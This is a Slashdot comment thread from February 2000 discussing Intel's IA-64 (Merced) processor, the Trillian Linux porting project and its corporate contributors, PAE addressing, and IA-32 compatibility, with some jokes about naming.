    (There's some other IA-64 documentation on the HP site, e.g. the IA-64 Software Conventions and Runtime Architecture manual [hp.com] and, if a link to it hasn't already been posted, (an old - August 1999) paper on "The Making of Linux/ia64" [hp.com].

  • by Quadropleen+ ( 79170 ) on Thursday February 03, 2000 @10:40AM (#1307323)
    Is there any information on how the IA64 is supposed to perform compared to current 64-bit chips (like the Dec Alpha)? I mean, are we waiting around just to get another been-there-done-that?
  • by Vanders ( 110092 ) on Thursday February 03, 2000 @10:41AM (#1307324) Homepage
    What about Slartibartfast? Would have been a cooler name than Trillian "Intel Slartibartfast Inside"
  • by sjames ( 1099 ) on Thursday February 03, 2000 @11:02AM (#1307325) Homepage Journal

    PAE is a 36 bit physical address format. The Linux development kernel uses that mode as well for userspace pages that won't be the target of DMA (DMA is not supported for memory that cannot be addressed in 32 bits due to hardware limitations). Fortunatly, it's not braindead as segmented memory was in real mode.

    The zoning of physical memory in the kernel will (probably has) come in handy for the merced port since it will need to deal with 32 and 64 bit bus mastering PCI for some time to come.

  • by rellort ( 146793 ) on Thursday February 03, 2000 @10:30AM (#1307326)
    "Ford" was already taken.

    "Prefect" sounds too close to "perfect" -- no way intel holds themself to THAT standard.

    "Zaphod" and "Beeblebrox" are to hard to remember.

    (Tomorrow I will look back on this post and say, "My God, what was I thinking?")
  • by Monty Worm ( 7264 ) on Thursday February 03, 2000 @10:32AM (#1307327) Journal
    In all deference to the "aint-it-cool" factor offerered by a new, better architecture, I'm probably not going to buy a Merced.

    At one point (about a year back) I was, but the picture has all changed.

    Most of the software I have is distinctly x86 bound. Most of it isn't open, and came to me via binaries. A large portion of it runs on an OS from that company in Washington State. Almost none of it can pretend to be anything other than games.

    For my money, I can't think of anything that looks more interesting in the processor market than TransMeta's Crusoe chip. Technically this is still on the "coming-to-market real-soon-now" list, but so is the Merced (now officialy IA-64).

    Given that, I'd rather settle for continuing to be able to run my existing software. I upgrade my system bit-by-bit. Compatibility and continuity are very important!

  • by semis ( 14252 ) on Thursday February 03, 2000 @10:53AM (#1307328) Homepage
    From the FAQ [linuxia64.com],

    Q6: What is the contribution of each of the members of the Trillian project?

    A6: Cygnus is porting GNUPro Toolkit (GCC, G++, GDB). HP is provided the initial kernel and glibc port, and continues to work on the kernel. IBM is providing kernel support. Intel is providing IA-32 support, IA-64 platform port, Apache port, and various drivers. SGI is providing an optimized C compiler and kernel support. VA is leading the project and providing kernel support, boot loader, commands and libraries, Xfree86, Mesa, E & GNOME, and the GIMP.


    Wow. Look at all the large companies behind this. IBM, SGI, Intel. All big players. One of the biggest problems that linux faces with hardware, is that of always playing "catch up" with Windows for hardware support. Efforts such as these can only be considered to be a Good Thing for Linux in general.

  • by Richard Wakefield ( 136917 ) on Thursday February 03, 2000 @11:13AM (#1307329)
    Speaking as a computer engineer, the IA-64 is one of the few processors that feels truly designed from the ground up.

    As such, one of the things Intel did very right was avoiding the craziness when switching between IA-32 and IA-64 code. It looks VERY straightforward: a new instruction in the IA-32 instruction set that jumps to IA-64 code and an IA-64 instruction that jumps to IA-32 code. The IA-32 registers are mapped into the lowest 32 registers on the IA-64 side. This is very much unlike the (IMO) stupid way Intel did protected mode/real mode switching in the IA-32 instruction set, which is complex and downright nasty at times.

    As to the other features of the processor (the 128 GP integer registers set up in a processor-managed rotating stack, the 128 FP registers, the 3 different sub-instruction-sets that allow the processor to be seperated into modular pieces, predication, and explicit parallelism), they are shockingly well-designed and make sense from both an engineering and programming viewpoint. I am very much looking forward to running on one!

    The crux of the matter is that IA-32 applications should run with no modifications under a properly written IA-64 OS and it should even be possible to run a IA-32 OS with no problems on an IA-64 processor!

In practice, failures in system development, like unemployment in Russia, happens a lot despite official propaganda to the contrary. -- Paul Licker

Working...